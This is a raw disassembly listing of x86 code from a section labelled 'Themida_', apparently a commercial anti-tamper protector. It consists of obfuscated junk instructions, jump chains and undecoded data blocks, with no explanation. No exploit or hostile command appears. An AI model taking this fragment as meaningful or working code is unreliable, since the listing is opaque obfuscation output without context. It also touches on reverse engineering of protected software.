		dd 56F18149h, 0C12E2328h, 0C18102E9h, 6BF5A15h,	36E5E9h
		db 0
; ---------------------------------------------------------------------------


loc_51043D:				; CODE XREF: Themida_:0050E5F1j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_50FBC3
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 316B68h, 241C8900h, 14FFE9h, 49685100h, 89000008h
		dd 72E92424h, 50000049h, 506684B0h, 137B3E9h, 80B0B100h
		dd 0C9FEB0E1h, 0C1FEC9FEh, 80CFF180h, 0F18043C1h, 0C7C380A5h
		dd 6426E9h, 4C48300h, 89F18951h, 240C8BCDh, 0B039E9h, 2434FF00h
		dd 4C4835Ah, 4DB05066h,	20C3E9h, 4B95100h, 0E9000000h
		dd 91B1h, 4ED81h, 2C330000h, 242C3124h,	8B242C33h, 4892424h
		dd 0DD1EE924h, 815CFFFFh, 46E52404h, 64E96853h,	55FFFFF1h
		dd 367392BDh, 0E9DDF746h, 11952h
; ---------------------------------------------------------------------------


loc_5104EC:				; CODE XREF: Themida_:0051B7B3j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_51F382
; ---------------------------------------------------------------------------
		dd 4EC81h, 76E90000h, 8300006Dh, 59E904ECh
		db 0DFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_510513:				; CODE XREF: Themida_:0051C72Bj
		pop	dword ptr [esp]
		mov	esp, [esp]
		movsx	cx, al
		push	edi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	esi
		mov	esi, 4
		jmp	loc_51D9B2
; ---------------------------------------------------------------------------
		dd 0E32C381h, 0D3013795h, 0E32EB81h, 0C3813795h, 526C1149h
		dd 8324148Bh, 0C6804C4h, 89000058h, 74FF241Ch, 8F5B0424h
		dd 2AE92404h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51055F:				; CODE XREF: Themida_:0051D5EFj
		sub	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	esi, ecx
		jmp	loc_515894
; ---------------------------------------------------------------------------


loc_510571:				; CODE XREF: Themida_:00519D97j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	esp, 4
		jmp	loc_51B632
; ---------------------------------------------------------------------------


loc_510580:				; CODE XREF: Themida_:0051A335j
		add	esp, 4
		push	eax
		jmp	loc_5132F7
; ---------------------------------------------------------------------------


loc_510589:				; CODE XREF: Themida_:0051FA25j
		mov	[esp], eax
		jmp	loc_517CC0
; ---------------------------------------------------------------------------
		db 5Ah,	8Fh, 4
		dd 24248B24h, 0FF2434FFh, 34FF2434h, 24048B24h,	7AF4E9h
		dd 552EBA00h, 5429242Ch, 815A0424h, 21952404h, 0BEE90C77h
		db 0FEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5105BF:				; CODE XREF: Themida_:0051355Cj
		or	ecx, edi
		pop	edi
		push	esi
		mov	esi, 7CF12F0Eh
		jmp	loc_51F2B3
; ---------------------------------------------------------------------------
		db 5Dh,	5Bh, 1
		dd 846DE9F5h, 0C2810000h, 4, 1022EE9h, 4D00000h, 0EC835A3Fh
		dd 24148904h, 0EAC0E7B2h, 0FFC28004h, 80A3C280h, 0EC8301EAh
		dd 22D5E902h, 30AC0000h, 4EC83D8h, 0B6241489h, 8FF68038h
		dd 0B5515351h, 0FED5F62Ah, 19C580C5h, 11AFBE9h,	94F68000h
		dd 46E9F700h
		db 0A4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_51062B:				; CODE XREF: Themida_:00523905j
		mov	[esp], ebx
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		push	67FBh
		mov	[esp], edx
		mov	edx, 185179D1h
		mov	edi, 185179D5h
		xor	edi, edx
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_5236A7
; ---------------------------------------------------------------------------


loc_510660:				; CODE XREF: Themida_:0051A284j
		add	eax, edi
		pop	edi
		add	eax, edi
		jmp	loc_51E6E6
; ---------------------------------------------------------------------------
		dw 0F680h
		dd 0E9F028CCh, 10B23h
; ---------------------------------------------------------------------------


loc_510674:				; CODE XREF: Themida_:00512495j
		mov	ecx, [esp]
		jmp	loc_51FAD0
; ---------------------------------------------------------------------------


loc_51067C:				; CODE XREF: Themida_:0051AFA6j
		add	esp, 4
		sub	dword ptr [esp+4], 24FC08F0h
		sub	[esp+4], ebx
		add	dword ptr [esp+4], 24FC08F0h
		push	dword ptr [esp]
		jmp	loc_51ADF8
; ---------------------------------------------------------------------------
		dw 575Bh
		dd 2BFh, 9BEA8100h, 141C875h, 9BC281FAh, 5F41C875h, 8B241487h
		dd 4082424h, 2DE99C24h,	83FFFFDBh, 0C48104C4h, 4, 5156BB53h
		dd 0DA310973h, 50241C8Bh, 0E71DE9h, 0E9515200h,	0FBB4h
		dd 295EF701h, 0CEF81C7h, 81172A4Fh, 4C50B6EFh, 0BAC5E91Dh
		dd 0C4830000h, 83D82804h, 0C8904ECh, 0E6B45024h, 0C1F6E9h
		dd 5BDA2800h, 2C5AD000h, 69E2E9C0h, 89500000h, 0FB5BE9E0h
		dd 248BFFFFh, 240C8924h, 13E1E953h, 3C890000h, 42B3BF24h
		dd 0B85026ECh, 0ED0C3Ah, 11F38E9h, 242C8B00h, 4C481h, 0DDF70000h
		dd 0C107EDC1h, 0ED8108E5h, 8DD3F796h, 4EC81h, 0C890000h
		dd 0E9E98924h, 115B6h, 0EB80EB28h, 45966DAh, 2CD8281Eh
		dd 0C3005B1Eh, 0C3E2E9h
		db 0
; ---------------------------------------------------------------------------


loc_51077D:				; CODE XREF: Themida_:00517474j
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		push	ebx
		mov	ebx, 49EF3F7Ah
		shl	ebx, 1
		shr	ebx, 2
		xor	ebx, 46E41ACBh
		add	ebx, 9DEC7A8Eh
		sub	esi, ebx
		pop	ebx
		jmp	loc_516A87
; ---------------------------------------------------------------------------


loc_5107B5:				; CODE XREF: Themida_:0051949Cj
		pop	ebp
		add	esp, 4
		push	esi
		mov	esi, 4
		push	edx
		mov	edx, 13CB3CCCh
		sub	eax, edx
		pop	edx
		add	eax, 703563A1h
		add	eax, esi
		sub	eax, 703563A1h
		add	eax, 13CB3CCCh
		pop	esi
		jmp	loc_51081A
; ---------------------------------------------------------------------------


loc_5107DF:				; CODE XREF: Themida_:00519FDCj
		push	edx
		jmp	loc_51A45F
; ---------------------------------------------------------------------------
aTl4Ptsds	db 'T4$PTD',0
		align 10h


loc_5107F0:				; CODE XREF: Themida_:0051D9BEj
		add	dword ptr [esp+4], offset sub_420EB4
		pop	esi
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		push	edx
		mov	edx, 4
		mov	eax, edx
		pop	edx
		push	eax
		pop	ecx
		jmp	loc_522AE0
; ---------------------------------------------------------------------------


loc_510814:				; CODE XREF: Themida_:0050FDE8j
		pop	edi
		jmp	loc_515D6B
; ---------------------------------------------------------------------------


loc_51081A:				; CODE XREF: Themida_:005107DAj
		push	3D23h
		mov	[esp], eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	ebx
		mov	ebx, 22BB50DFh
		jmp	loc_511550
; ---------------------------------------------------------------------------


loc_51083F:				; CODE XREF: Themida_:00523332j
		mov	[esp], edx
		push	ebx
		push	esi
		push	edx
		mov	edx, 1
		mov	esi, edx
		pop	edx
		push	esi
		jmp	loc_5224B5
; ---------------------------------------------------------------------------


loc_510853:				; CODE XREF: Themida_:0050E6C7j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_517AD1
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 7E5C104h, 4E5C14Dh, 0E908E5C1h, 0EDF4h, 2434FF5Ah, 0E9240C8Bh
		dd 1851h, 0E9243C33h, 0FFFFFC4Ah, 5604C483h, 0C64BA52h
		dd 0EAC1236Fh, 88EA8103h, 0E9046DE1h, 0A237h, 7E9F488h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5108A7:				; CODE XREF: Themida_:00515BC0j
		sub	esi, 8FE676E6h
		xor	ebp, esi
		pop	esi
		push	esi
		mov	esi, 0
		sub	esi, ebp
		xor	ebp, esi
		xor	esi, ebp
		jmp	loc_521CA4
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 2B9h, 4DC28100h, 1170322h, 4DEA81CAh, 8B170322h, 0C483240Ch
		dd 4EC8304h, 0FF241489h, 8B042474h, 8B682414h, 89000064h
		dd 95E9241Ch, 56FFFFE4h, 892A8EBEh, 1A35E96Ch, 0CA810001h
		dd 73565932h, 0E2D1D2F7h, 188C281h, 0D5012DB5h,	99E9505Ah
		dd 2Fh,	661904D0h, 9CF9E95Ah, 0F9B90000h, 817B4841h, 4841FDF1h
		dd 0FBA9E97Bh, 0C083FFFFh, 0C58BE904h, 0F5B00000h, 0D8F6D0F6h
		dd 0C1305B2Ch, 79B4E9h,	3C895C00h, 37F3BF24h, 5EE955EEh
		dd 5D00007Bh, 5C240487h, 54240489h, 4EC8158h, 89000000h
		dd 0EDE92414h, 81FFFFE0h, 5D73A7EBh, 30C3816Fh,	81437600h
		dd 6B73E6C3h, 5BDA292Ch, 8BD70158h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	edi, 2
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_5117B0
; ---------------------------------------------------------------------------


loc_5109B5:				; CODE XREF: Themida_:00517A10j
		mov	[esp], eax
		mov	eax, 10F01CE8h
		xor	eax, 1D6055CCh
		push	eax
		jmp	loc_51E660
; ---------------------------------------------------------------------------
		dd 800CB753h, 1C046BEFh, 1C2CF828h, 528C2C5Bh, 3121E950h
		dd 0EF810001h, 6C6C11D6h, 81DFF75Eh, 0E9778DE7h, 0F4EF817Eh
		dd 0C16E4C3Ch, 895308E7h, 4C381E3h, 52000000h, 4BAh, 5AD32900h
		dd 522E9h, 243C8700h, 2434895Ch, 0B008E9h, 24148B00h, 4C481h
		dd 0C7E90000h, 66000042h, 0C1E930FFh
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_510A2F:				; CODE XREF: Themida_:00513E36j
		pop	ebx
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_51E4FE
; ---------------------------------------------------------------------------
		db 0BEh, 38h, 14h
		dd 0F129428Ah, 0BEE9815Eh, 5B334352h, 2BD55h, 0E9010000h
		dd 9783E9h
		db 0, 5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_51AD33
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0D6BD5504h, 0E910E719h, 5676h
; ---------------------------------------------------------------------------


loc_510A7C:				; CODE XREF: Themida_:005214F5j
		add	ebp, 690C48B3h
		dec	ebp
		add	ebp, 76A2BB7Ah
		sub	ecx, ebp
		jmp	loc_51EECF
; ---------------------------------------------------------------------------
aQs		db 'Q"[',0
		align 2
		dw 34FFh
		dd 50E95824h, 0FF000001h, 0E9042474h, 1370h, 104C483h
		dd 0DDBD55D9h, 0E9492D02h, 0E211h, 78E953ACh, 5B0000A4h
		dd 4C381h, 0B9510000h, 4, 0C7E9E9h
		db 0
; ---------------------------------------------------------------------------


loc_510AD1:				; CODE XREF: Themida_:00517519j
		mov	esi, 4
		sub	edx, esi
		pop	esi
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_515D44
; ---------------------------------------------------------------------------
		dd 81E68956h, 4C6h, 0CBB95100h,	813B257Ch, 257CCFF1h, 8EE813Bh
		dd 2937F360h, 8C681CEh,	0E937F360h, 11CB3h
; ---------------------------------------------------------------------------


loc_510B0C:				; CODE XREF: Themida_:0051F325j
		pop	edx
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		jmp	loc_5200F8
; ---------------------------------------------------------------------------
		db 81h
		dd 0FFFFFEEBh, 0ECE6E9FFh, 0D701FFFFh, 243C335Ah, 584CE9h
		dd 4C58300h, 31242C33h,	2C33242Ch, 68FFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_510B42:				; CODE XREF: Themida_:00510DBDj
		mov	[esp], eax
		jmp	loc_522B78
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 56000000h, 719CE9h, 243C8900h, 2BFh,	8C68100h, 130210Ch
		dd 18A0E9FEh, 0FE010000h, 83DEF75Fh, 1C8904ECh,	62E3BB24h
		dd 0DE017C43h, 537BE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_510B82:				; CODE XREF: Themida_:00519A28j
		mov	[esp], ecx
		jmp	loc_520896
; ---------------------------------------------------------------------------
		dw 4BBh
		dd 0E9000000h, 0C526h
; ---------------------------------------------------------------------------


loc_510B94:				; CODE XREF: Themida_:0051E69Ej
		add	ecx, 4
		push	69F9h
		mov	[esp], ebx
		mov	ebx, 7F656B02h
		neg	ebx
		xor	ebx, 1270557h
		add	ebx, 1F0C36FAh
		push	edx
		mov	edx, 1DD45EFFh
		jmp	loc_52112F
; ---------------------------------------------------------------------------
		dd 0E181E1D1h, 4BA56DF7h, 0B6FBC181h, 0C8016EB4h, 0AF8CE9h
		dd 0F3E95D00h
		db 0D1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_510BDB:				; CODE XREF: Themida_:0051AAD2j
		mov	ebx, 6AF25563h
		dec	ebx
		neg	ebx
		dec	ebx
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		dec	ebx
		jmp	loc_510D43
; ---------------------------------------------------------------------------
		db 50h
		dd 0BA525854h, 0EF90759h, 0A7A3E9h
		db 0
; ---------------------------------------------------------------------------


loc_510BFD:				; CODE XREF: Themida_:00511173j
		mov	[esp], edx
		push	esi
		mov	esi, eax
		mov	edx, esi
		pop	esi
		mov	ecx, edx
		jmp	loc_52139C
; ---------------------------------------------------------------------------
		db 0E9h, 0DEh, 0D5h
		dd 0C31FFFFh, 240C3324h, 0E924248Bh, 10E9Bh, 0ED815Fh
		dd 0E9D7F9B8h, 817Eh, 4EC81h, 0E9540000h, 0FCE7h, 7C52B850h
		dd 0CAE93F55h, 81FFFFE1h, 7660CAF2h, 0B685174h,	593E683Bh
		dd 0F705E1C1h, 88F181D9h, 81F46879h, 2A5678EAh,	672DE962h
		dd 0C5310000h, 0FFEF3158h, 0DE92434h
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_510C73:				; CODE XREF: Themida_:00516BADj
		pop	dword ptr [esp]
		jmp	loc_51848A
; ---------------------------------------------------------------------------
		db 31h
		dd 1C33241Ch, 24248B24h, 55C8B60Fh, 4EC81h, 24890000h
		dd 0FC3AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_510C96:				; CODE XREF: Themida_:00519CBBj
		add	edi, 4
		sub	edi, 2
		jmp	loc_51A0A3
; ---------------------------------------------------------------------------
		dd 762C6D24h, 0BD340E34h, 73E9C728h, 8B000023h,	0C4832404h
		dd 1C18004h, 81FFC180h,	4ECh, 241C8900h, 12180E9h, 24248900h
		dd 2E685251h, 5A3D5645h, 452AF281h, 0D1893D56h,	246C815Ah
		dd 4A3AA204h, 244C011Ch, 1540E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_510CF2:				; CODE XREF: Themida_:0051BBE1j
		add	edi, 4
		sub	edi, 4
		push	1299h
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_51FA62
; ---------------------------------------------------------------------------
		dd 0FB62C381h, 0C38169F2h, 0AB2161B3h, 8904EC83h, 14F7241Ch
		dd 9CE95B24h, 0C100009Fh, 0EDC103E5h, 95C58102h, 161D5FBh
		dd 0CAE95DEFh
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_510D43:				; CODE XREF: Themida_:00510BEAj
		sub	ebx, 0ED98D651h
		sub	ecx, 74CD1361h
		add	ecx, ebx
		add	ecx, 74CD1361h
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		add	ecx, 322394Eh
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		shr	eax, 0Bh
		xor	ecx, eax
		jmp	loc_5166BA
; ---------------------------------------------------------------------------


loc_510D77:				; CODE XREF: Themida_:0051E5F5j
		pop	ebx
		push	edx
		mov	edx, 10974632h
		jmp	loc_51D7ED
; ---------------------------------------------------------------------------


loc_510D83:				; CODE XREF: Themida_:0051DFBBj
		xor	ebp, 7D7D7EDBh
		add	ebp, 0FFFFFFFFh
		push	esi
		mov	esi, 2EA43E61h
		and	esi, 6F38424Ah
		jmp	loc_515BE3
; ---------------------------------------------------------------------------
		db 5Ah,	8Fh, 4
aSn1		db '$N1',0
		align 2
		dw 6859h
		dd 7F38h, 0E9243C89h, 0CA06h
; ---------------------------------------------------------------------------


loc_510DB4:				; CODE XREF: Themida_:00514318j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_510B42
; ---------------------------------------------------------------------------
		dw 2B9h
		dd 89000000h, 7E959CAh,	52000101h, 6C2F93BAh, 8BD33117h
		dd 0C4832414h, 0F906E904h, 0E95E0000h, 0A5A7h, 518BEF81h
		dd 0C781763Fh, 612772BEh, 0EF81C729h, 612772BEh, 518BC781h
		dd 0EF81763Fh, 1E1644BAh, 8324048Bh, 3C8704C4h,	0F55DE924h
		dd 0C4830000h, 241C8704h, 111D2E9h, 2C222D00h, 0F8017F66h
		dd 61C4E9h, 0F666400h, 0EC8102B6h, 4, 0E9241C89h, 22B2h
; ---------------------------------------------------------------------------


loc_510E40:				; CODE XREF: Themida_:0051D8CFj
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_51F852
; ---------------------------------------------------------------------------
aQh		db 'Qh>',0
		align 4
		dd 24048F54h, 4BA52h, 0D9E90000h, 500000C1h, 4668ADB8h
		dd 0EADBE94Fh, 0CF01FFFFh, 0FFEEF7E9h, 240C87FFh, 0F324248Bh
		dd 386203A5h, 426C68h, 243C8900h, 429D68h, 61A8E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_510E92:				; CODE XREF: Themida_:0051469Dj
		push	ecx
		push	esp
		jmp	loc_5239CE
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 4C481h, 81520000h, 4ECh, 42E1E900h, 34FF0000h, 240C8B24h
		dd 0E904C483h, 8D8Fh, 42474FFh,	8124048Bh, 4C4h, 24048F00h
		dd 0D224248Bh, 0E99C243Ch, 0FFFFD318h, 65B05066h, 5866C728h
		dd 1C8BF830h, 4C48124h,	66000000h, 0D4BBE950h, 34FFFFFFh
		dd 0C89CE924h, 815B0000h, 8E814BC3h, 0A852E9D9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_510F06:				; CODE XREF: Themida_:0051F728j
		push	6883h
		jmp	loc_516678
; ---------------------------------------------------------------------------
		dd 815AF528h, 2ECh, 14896600h, 0C9B624h, 51C3E9F0h, 48F0000h
		dd 3DE95C24h, 87FFFFF0h, 1FE9241Ch, 8B0000D3h, 6851241Ch
		dd 39FFh, 0FFFD88E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_510F45:				; CODE XREF: Themida_:0051485Aj
		mov	ebp, 1
		jmp	loc_51A46B
; ---------------------------------------------------------------------------


loc_510F4F:				; CODE XREF: Themida_:00519951j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_51A334
; ---------------------------------------------------------------------------
		dw 15Ch
		dd 10685FF9h, 8900000Fh, 74FF240Ch, 0C3E90424h,	0E90000DAh
		dd 0FFFFD27Ch
; ---------------------------------------------------------------------------


loc_510F74:				; CODE XREF: Themida_:00511D17j
		pop	ecx
		shr	ebp, 7
		jmp	loc_512677
; ---------------------------------------------------------------------------


loc_510F7D:				; CODE XREF: Themida_:00511398j
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_514F7C
; ---------------------------------------------------------------------------


loc_510F8B:				; CODE XREF: Themida_:0051650Fj
		mov	bh, dh
		push	edx
		mov	dl, bh
		mov	ah, dl
		jmp	loc_51BAE4
; ---------------------------------------------------------------------------


loc_510F97:				; CODE XREF: Themida_:0052120Bj
		pop	edx
		neg	edi
		sub	edi, 0BA2EA7DAh
		xor	ebp, edi
		pop	edi
		and	ebp, 70C834BAh
		inc	ebp
		xchg	edx, ebp
		neg	edx
		jmp	loc_510164
; ---------------------------------------------------------------------------
		db 8Bh
		dd 34FF2424h, 2434FF24h, 0CE1FE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_510FC2:				; CODE XREF: Themida_:005135A9j
		mov	[esp], esi
		xchg	ecx, [esp]
		jmp	loc_52076A
; ---------------------------------------------------------------------------
aZb		db 'Z',0
		dw 0B939h
		dd 295FFB29h, 34C381FBh, 0E9026D42h, 0BFC0h, 243C875Eh
		dd 1C3815Ch, 290FDA24h,	93E957C3h
		db 0B6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_510FF7:				; CODE XREF: Themida_:00515802j
		mov	esi, 6D5A0D40h
		inc	esi
		jmp	loc_50F21D
; ---------------------------------------------------------------------------


loc_511002:				; CODE XREF: Themida_:0051FAEBj
		or	eax, eax
		jz	loc_51BBED
		push	dword ptr [edi+28h]
		push	eax
		mov	eax, esp
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		push	2ADAh
		mov	[esp], ecx
		jmp	loc_512CDB
; ---------------------------------------------------------------------------


loc_511026:				; CODE XREF: Themida_:0050F20Fj
		sub	esi, ecx
		sub	esi, 1F7A05EFh
		add	esi, 46310824h
		pop	ecx
		jmp	loc_51874A
; ---------------------------------------------------------------------------
		dw 335Fh
		dd 2C31242Ch, 242C3324h, 0C1E2D15Ch, 0BD5502E2h, 0C4E9DD40h
		dd 2C8BEA31h, 4C48124h,	29000000h, 2B09E9D6h, 0A9BD0001h
		dd 0BE71BC44h, 71BC44ADh, 15DEE29h, 0FF6EE9F7h,	5FB3FFFFh
		dd 303BB551h, 8AE959EBh
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_511083:				; CODE XREF: Themida_:005129B8j
		add	ah, 0D7h
		or	bh, ah
		mov	ax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp]
		mov	esp, [esp]
		and	bh, 96h
		add	bh, 44h
		xor	al, bh
		pop	ebx
		push	5F93h
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5137A1
; ---------------------------------------------------------------------------
		db 1, 0D8h, 5Bh
		dd 40C6BF57h, 9EE95502h
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5110CF:				; CODE XREF: Themida_:0051C604j
		push	dword ptr [esp]
		jmp	loc_51A365
; ---------------------------------------------------------------------------
		db 81h
		dd 2F73E3EDh, 5FED8176h, 8B08C312h, 0C4832414h,	4ED8304h
		dd 4EC81h, 14890000h, 81E28924h, 4C2h, 4EA8100h, 87000000h
		dd 0E95C2414h, 879h, 0CA81D2F7h, 6E7E5782h, 0A8D1E9h, 4C48300h
		dd 31243433h, 0FBE92434h, 0F7FFFFD2h, 0C1DBF7DBh, 0EB8102EBh
		dd 10A440Ch, 0E95BD901h, 2890h,	0FFFB0166h, 565F2434h
		dd 0BBE9E689h
		db 93h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51114B:				; CODE XREF: Themida_:00522B8Cj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_50FD8B
; ---------------------------------------------------------------------------


loc_511162:				; CODE XREF: Themida_:0051B92Aj
		pop	esp
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	6CEDh
		jmp	loc_510BFD
; ---------------------------------------------------------------------------
		dd 0FABAE945h, 0EC81FFFFh, 4, 54242C89h, 4C5815Dh, 68000000h
		dd 599Ah, 0B9240C89h, 6E16506Ah, 7387E9h, 0BE02D00h, 0C80125AFh
		dd 0AF0BE005h, 240C8B25h, 4C481h, 148B0000h, 4C48324h
		dd 8E8C148h, 2355E955h,	34FF0001h, 2434FF24h, 5015E9h
		db 0
; ---------------------------------------------------------------------------


loc_5111D1:				; CODE XREF: Themida_:0051B552j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_522DB9
; ---------------------------------------------------------------------------
		db 2Dh,	0AAh, 42h
		dd 55D39C4h, 31412B70h,	702DD829h, 531412Bh, 418365DCh
		dd 4EC81h, 4EE90000h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_511207:				; CODE XREF: Themida_:0051E3ACj
		and	eax, 7E815D4Ah
		sub	eax, 428C1899h
		jmp	loc_523AC0
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 3B33BF24h, 0FA0163E0h, 0AAC2815Fh, 81728443h, 650826EAh
		dd 81CA011Dh, 650826C2h, 0AAEA811Dh, 53728443h,	0E03B33BBh
		dd 6DC28163h, 0E94A1C56h, 0B687h, 48BC329h, 4C48324h, 0C103E3C1h
		dd 0EB8103EBh, 0FAE767E2h, 1C8BDA89h, 0E5D7E924h, 5D540000h
		dd 4C581h, 0BB530000h, 4, 0BC06E9h, 6E156800h, 14890000h
		dd 51DE8824h, 0EB88E588h, 5AF48859h, 0DC86C3FEh, 88CEF480h
		dd 24048BE3h, 10171E9h
		db 0
; ---------------------------------------------------------------------------


loc_5112A1:				; CODE XREF: Themida_:0051A72Aj
		push	esp
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_511921
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 4C932D1Ah, 0ED81454Dh, 5DA23505h, 1C581h, 0F5810000h
		dd 0EEF0F812h, 2D5DE801h, 4, 8B240487h,	14892424h, 7C685524h
		dd 5D7BD459h, 5978ED81h, 0EA897BD4h, 83242C8Bh,	0D60104C4h
		dd 8124148Bh, 4C4h, 24343300h, 0E9243431h, 0FFFFEAC9h
		dd 0F180C9FEh, 3A51E92Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_511316:				; CODE XREF: Themida_:0050F141j
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	ecx
		push	esp
		jmp	loc_51E69D
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 63D4C681h, 0B0E95F9Eh
		dd 550000A4h, 0F8215D5Fh, 0FFD220E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_511351:				; CODE XREF: Themida_:005113F0j
		xor	eax, 77735B75h
		or	ebx, eax
		pop	eax
		xchg	esi, ebx
		not	esi
		xchg	esi, ebx
		jmp	loc_5147D1
; ---------------------------------------------------------------------------


loc_511364:				; CODE XREF: Themida_:0051DC01j
		xor	ebp, 4F0001A2h
		add	eax, ebp
		pop	ebp
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	ecx, 2
		push	4E0Fh
		mov	[esp], ecx
		jmp	loc_51415F
; ---------------------------------------------------------------------------


loc_511384:				; CODE XREF: Themida_:00518057j
		shr	edx, 6
		push	edi
		mov	edi, 32BD564h
		xor	edx, edi
		pop	edi
		add	edi, edx
		pop	edx
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_510F7D
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0EF91E924h, 9BBBFFFFh, 0E9A72973h, 7928h, 4C281h, 0EA810000h
		dd 4, 2E2CE9h, 1C875600h, 87D3F724h, 815E241Ch,	9469B5EEh
		dd 3B43E925h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5113D6:				; CODE XREF: Themida_:00523A42j
		mov	[esp], ebx
		push	50984587h
		pop	ebx
		sub	ebx, 0FFFFFFFFh
		push	eax
		mov	eax, 40240113h
		xor	eax, 13271A3h
		jmp	loc_511351
; ---------------------------------------------------------------------------


loc_5113F5:				; CODE XREF: Themida_:00521CEDj
		add	esp, 4
		jmp	loc_519386
; ---------------------------------------------------------------------------
		db 1, 0EEh, 5Dh
		dd 0FFFF24E9h, 7E5C1FFh, 0C04BE56h, 0F53149B2h,	5DEB015Eh
		dd 8704C383h, 215C241Ch, 0E99C2404h, 0FFFFCDCCh, 240C8B66h
		dd 265C68h, 0EEA7E900h,	0E6200000h, 5DC68058h, 5A66F730h
		dd 4FBD6866h, 24048966h, 0C72867B0h, 0F7805866h, 4EC83D0h
		dd 0B0240489h, 0F90408h, 24048BC7h, 0B6DEE9h, 0FE27B500h
		dd 48CD80CDh, 8904EC83h, 0EAB02404h, 48BC520h, 4C48124h
		dd 80000000h, 0D5F676F5h, 0B4B2E950h, 0B9510000h, 314A21CBh
		dd 8159CD09h, 1C5h, 0E14FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51149A:				; CODE XREF: Themida_:00518777j
		push	edi
		mov	edi, 339448A2h
		not	edi
		xor	edi, 0B4118F48h
		and	ebx, edi
		pop	edi
		and	ebx, 0C841B5Eh
		jmp	loc_522911
; ---------------------------------------------------------------------------
		dw 359h
		dd 34FF5B03h, 0D25BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5114C2:				; CODE XREF: Themida_:00516A49j
		xor	ebp, edx
		xor	edx, ebp
